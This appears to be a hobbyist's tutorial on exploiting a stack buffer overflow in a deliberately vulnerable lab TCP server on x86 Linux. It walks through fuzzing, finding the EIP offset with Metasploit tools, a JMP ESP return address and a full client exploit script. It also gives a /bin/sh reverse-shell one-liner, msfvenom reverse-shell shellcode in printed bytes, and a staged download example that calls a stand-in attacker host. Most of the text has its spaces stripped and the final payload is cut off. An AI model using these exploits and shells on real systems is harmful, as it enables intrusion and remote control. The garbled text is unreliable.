Onax86linuxarchitecturewithDEPASLRdisabledhellipLetrsquosgiveitashotfirstwersquollrunthevulnerableserverPoCwithinGDB

compilesthevulnerableCprogramwithanumberofprotectionsremovedDisabling-fstack-protectorremovessomemodernprotectionagainstoverwritingtheinstructionpointerLetrsquosdeferuntillaterexecstackwillmarkbinaryorsharedlibraryasrequiringexecutablestackMakefileallor

gcc-gvulnServerc-fno-stack-protector-z-Waexecstack-oServergdbServer1337

OkaysothevulnerableTCPserverisloadedintoGDBGDBisadebuggertogiveasaccessintothememoryregistersassemblyetcetcIfyourefamiliarwithwebdevelopmentlikeIwastheconceptofsettingbreakpointsatdifferentmomentsinthecodewasveryfamiliarItseemsintimidatingbutareallygoodcheatsheetishere

GDBCheatSheet

httpswwwcheatographycomfristlecheat-sheetsclosed-source-debugging-with-gdbFromtheterminaltype

run1337

NowitrsquostimetoldquoFuzzrdquoWealreadywentthroughsometheoryandrationalebeforebutitwasnrsquotdescribedinandend-to-endtypeofcontextArefresherhellipldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfyourememberIprovidedsomesimplecommandstoillustratetheexampleForthisapplicationwecandoitcompletelyhandsonpython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]Sowecouldapproachthisacoupleofways

1 Gobackintothereversedengineeredbinariesandtrytodeterminewhatourbuffersizeisthroughthesourcecodeandassembly

2 RuntheprogramthroughthrewGDBandsetbreakpointsandfindops-codethatindicateBUFFERvariablesize3 Writeaniterativefuzzingscripttofindtheoverflowpoint

WritingthefuzzingscriptwasthebestlearningexerciseformeSowersquoregoingtocoverthatherequicklyLetrsquosstartwithgeneratingabunchofdatawiththecommandbelowIrsquomgoingtojustincreasethenumberofAsby10threetimes Examplepython-cprintx41overflowpython-cprintx4110python-cprintx4120python-cprintx4130

AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30

bufferappend(Acounter)counter=counter+200

forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)

ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)

MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize

DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100

MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger

print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes

forstringinMESSAGE

defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw

print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)

sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver

HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos

ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters

WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks

Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550

Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)

LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo

EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368

LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened

ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway

WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther

python-cprintx41366+x42366+x43184+x4462+x4562+x4662

AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer

Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip

python-cprintx411000+x4225+x4325+x4425+x4525

That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere

up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that

mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos

python-cprintx411000+x4225+x438+x448+x459

Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers

are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens

python-cprintx411000+x4225+x438+x448+x454+x464

Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore

onestepaway

python-cprintx411000+x4225+x438+x447+x454+x464

BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer

Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the

crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to

find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer

to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because

Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from

right-to-leftrelativetotheorderyousuppliedthedata

FindingInstructionPointerthefastway

Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your

taught to use this program without learning the manual way then you may not understand what and why exactly you are using the

program

httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb

Soourfuzzertoldusthecrashhappenedatapproximately1100bytes

rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb

rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100

This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this

command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers

and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb

outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP

Example

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0

Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6

Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7

Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1

Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2

Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf

4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk

YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236

Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP

value

usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236

Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis

python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample

Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands

Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a

bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode

python-cprintx901040+x454+x904

Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs

Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect

thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545

MESSAGE=x901040+x454+x901000

Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly

x45454545

Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our

NOPSletsruntheattackwiththefollowinglogicintheclientpy

MESSAGE=x901040+x454+x901000

Letrsquosswitchsomethingsupandtryanewdebuggerhellip

1 Server1337

2 Fromterminal2rarredb

3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo

4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)

5 UpdateyourclientPoCcode

6 pythonclientPoCpy1337

CodeChanges

malware=(x41100)

eip=x424

ending=x90200

nopsled=(x90(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly

Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand

corner

Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points

to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At

memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware

Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump

intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor

aJMPESPopcodetofindamemorylocationwiththatinstruction

1 runthevulnerableserver

2 startupedbdebuggerandattackthevulnerableserver

3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP

4 Manuallysearchthrougheachloadedbinaryandclicksearch

0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU

tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder

So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the

futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun

Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow

binsh-igtampdevtcp12700144440gtamp1

Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in

one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It

lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)

The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate

a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and

not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there

isanaddedlayerofcomplexity

LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes

ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs

NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general

sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as

register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often

abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine

codeinstructionsrdquo

So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But

when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing

the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work

helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos

So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters

commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it

any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the

registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip

PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip

binsh-igtampdevtcp12700144440gtamp1

encodesto

x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x

2fx34x34x34x34x20x30x3ex26x31

Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly

from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a

simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX

To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86

encodedcommandthatthekernelcaninterpret

binsh-igtampdevtcp12700144440gtamp1

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

x86encodedShellCode

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01

xd8x7dxf3xdcx9b

TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully

understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally

worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders

- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform

- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina

singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos

ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is

malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced

- f=formathellipThatcanberawCJSPshelletcetc

- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore

- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere

Wheredoweputourmalware

While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the

clientpyscriptputtingthemalwarebeforeEIPlookslikethis

NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS

Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is

important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left

manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior

because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory

address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and

unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto

HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow

malware=x41x30

eip=x97xcfxfaxb7

eip=x41x41x41x41

ending=x90200

nopsled=(x41(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then

look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote

with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register

pointertojumpintothenopsled

One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that

specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that

can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out

bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo

for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell

codeaftertheEIPsowecanjumpintoESP

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip

x86encodedShellCodewBadCharacters(Fornextsection)

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01

xd8x7dxf3xdcx9bx00x00

Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade

UpdatedclientpyCodewiththeldquoBadCharactercoderdquo

Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the

clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and

overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a

connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection

willfail

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or

WHOIScommandsLetrsquosinvestigate

1 RightclickEIPinRegisterWindowsrarrFollowinDump

2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending

3 Lookforx00commandsandtrytonoticeanythingorstrange

WhattheTargetMachineSees

Whatwesentover

We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc

etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does

not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP

CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence

of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into

various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad

charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard

So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and

omitcharacters

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow

ofhellip

1 UseagiantblobofallASCIcharactersinHEX

2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline

Howtotestforbadcharactersandotherassemblyandregisterissues

Terminal1Server1337

Terminal2edb(orGDBIwonrsquotjudge)

fromedbrarrattachrarrServer

fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning

Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory

Yoursquollbelookingforx41orx90rsquos

Option1-AlltheASCII

x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10

x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20

x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30

x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40

x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50

x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60

x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70

x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80

x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90

x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0

xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0

xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0

xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0

xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0

xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff

Option2-Testsomespecificcommands

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto

thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest

Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution

ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime

issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo

KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor

hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO

commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell

NewPayload

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

